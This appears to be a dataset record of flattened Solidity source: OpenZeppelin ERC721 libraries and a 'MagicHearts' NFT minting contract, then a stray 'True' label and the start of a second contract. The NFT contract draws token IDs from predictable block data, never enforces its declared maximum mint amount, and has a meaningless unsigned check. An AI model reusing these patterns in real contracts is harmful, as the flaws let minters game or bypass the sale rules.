* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: https://github.com/1001-digital/erc721-extensions/blob/main/contracts/WithLimitedSupply.sol
pragma solidity ^0.8.0;
/// @author 1001.digital
/// @title A token tracker that limits the token supply and increments token IDs on each new mint.
abstract contract WithLimitedSupply {
using Counters for Counters.Counter;
/// @dev Emitted when the supply of this collection changes
event SupplyChanged(uint256 indexed supply);
// Keeps track of how many we have minted
Counters.Counter private _tokenCount;
/// @dev The maximum count of tokens this token tracker will hold.
uint256 private _totalSupply;
/// Instanciate the contract
/// @param totalSupply_ how many tokens this collection should hold
constructor (uint256 totalSupply_) {
_totalSupply = totalSupply_;
}
/// @dev Get the max Supply
/// @return the maximum token count
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/// @dev Get the current token count
/// @return the created token count
function tokenCount() public view returns (uint256) {
return _tokenCount.current();
}
/// @dev Check whether tokens are still available
/// @return the available token count
function availableTokenCount() public view returns (uint256) {
return totalSupply() - tokenCount();
}
/// @dev Increment the token count and fetch the latest count
/// @return the next token id
function nextToken() internal virtual returns (uint256) {
uint256 token = _tokenCount.current();
_tokenCount.increment();
return token;
}
/// @dev Check whether another token is still available
modifier ensureAvailability() {
require(availableTokenCount() > 0, "No more tokens available");
_;
}
/// @param amount Check whether number of tokens are still available
/// @dev Check whether tokens are still available
modifier ensureAvailabilityFor(uint256 amount) {
require(availableTokenCount() >= amount, "Requested number of tokens not available");
_;
}
/// Update the supply for the collection
/// @param _supply the new token supply.
/// @dev create additional token supply for this collection.
function _setSupply(uint256 _supply) internal virtual {
require(_supply > tokenCount(), "Can't set the supply to less than the current token count");
_totalSupply = _supply;
emit SupplyChanged(totalSupply());
}
}
// File: https://github.com/1001-digital/erc721-extensions/blob/main/contracts/RandomlyAssigned.sol
pragma solidity ^0.8.0;
/// @author 1001.digital
/// @title Randomly assign tokenIDs from a given set of tokens.
abstract contract RandomlyAssigned is WithLimitedSupply {
// Used for random index assignment
mapping(uint256 => uint256) private tokenMatrix;
// The initial token ID
uint256 private startFrom;
/// Instanciate the contract
/// @param _totalSupply how many tokens this collection should hold
/// @param _startFrom the tokenID with which to start counting
constructor (uint256 _totalSupply, uint256 _startFrom)
WithLimitedSupply(_totalSupply)
{
startFrom = _startFrom;
}
/// Get the next token ID
/// @dev Randomly gets a new token ID and keeps track of the ones that are still available.
/// @return the next token ID
function nextToken() internal override ensureAvailability returns (uint256) {
uint256 maxIndex = totalSupply() - tokenCount();
uint256 random = uint256(keccak256(
abi.encodePacked(
msg.sender,
block.coinbase,
block.difficulty,
block.gaslimit,
block.timestamp
)
)) % maxIndex;
uint256 value = 0;
if (tokenMatrix[random] == 0) {
// If this matrix position is empty, set the value to the generated random number.
value = random;
} else {
// Otherwise, use the previously stored number from the matrix.
value = tokenMatrix[random];
}
// If the last available tokenID is still unused...
if (tokenMatrix[maxIndex - 1] == 0) {
// ...store that ID in the current matrix position.
tokenMatrix[random] = maxIndex - 1;
} else {
// ...otherwise copy over the stored number to the current matrix position.
tokenMatrix[random] = tokenMatrix[maxIndex - 1];
}
// Increment counts
super.nextToken();
return value + startFrom;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overridden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/M11.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
BEMETA MagicHearts by @pink_dust ART
1,000 random assigned NFTs
*/
contract MagicHearts is ERC721, Ownable, RandomlyAssigned {
using Strings for uint256;
string public baseURI = "https://ipfs.io/ipfs/QmTL7ZL39w6cP8zu1cMYxTfJFDXwg4WdQtEj4Yd1YWVBBe";
string public baseExtension = ".json";
uint256 public maxSupply = 1000;
uint256 public maxMintAmount = 20;
uint256 public cost = 0.01 ether;
uint256 public currentSupply = 0;
bool public paused = true;
constructor()
ERC721("MagicHearts", "BEMMH")
RandomlyAssigned(maxSupply,1)
{}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function mint(uint256 _mintAmount) public payable {
require(!paused);
require(_mintAmount > 0);
require( tokenCount() + 1 <= totalSupply(), "You cannot mint more than the maximum number of NFTs");
require( availableTokenCount() - 1 >= 0, "You cannot mint more than the available number of NFTs");
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
uint256 id = nextToken();
_safeMint(msg.sender, id);
currentSupply++;
}
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(
_exists(tokenId), "Sorry, your query for nonexistant NFT"
);
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), ".json"))
: "";
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function withdraw() public payable onlyOwner {
// payment for future developments
(bool hs, ) = payable(0x0c8726c818C294650AC1f18CA6f9ed0d9E33f3bA).call{value: address(this).balance * 50 / 100}("");
require(hs);
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
}
|
True
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/**
*Submitted for verification at Etherscan.io on 2021-10-20
*/
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
